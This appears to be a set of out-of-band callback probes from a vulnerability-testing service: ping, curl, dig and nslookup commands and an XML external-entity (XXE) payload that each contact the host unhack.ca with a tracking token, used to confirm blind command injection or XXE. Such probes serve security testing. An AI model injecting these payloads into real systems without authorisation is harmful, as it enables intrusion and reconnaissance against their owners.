$ ping -c1 -p 0047466849548d0fcf0c0c523aeee600 unhack.ca
 

$ curl http://unhack.ca/p/47466849548d0fcf0c0c523aeee6
 

$ dig 47466849548d0fcf0c0c523aeee6 @unhack.ca
 

$ dig 47466849548d0fcf0c0c523aeee6.ns.unhack.ca
 

C:\> nslookup 47466849548d0fcf0c0c523aeee6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/47466849548d0fcf0c0c523aeee6">]>
    <foo>&xxe;</foo>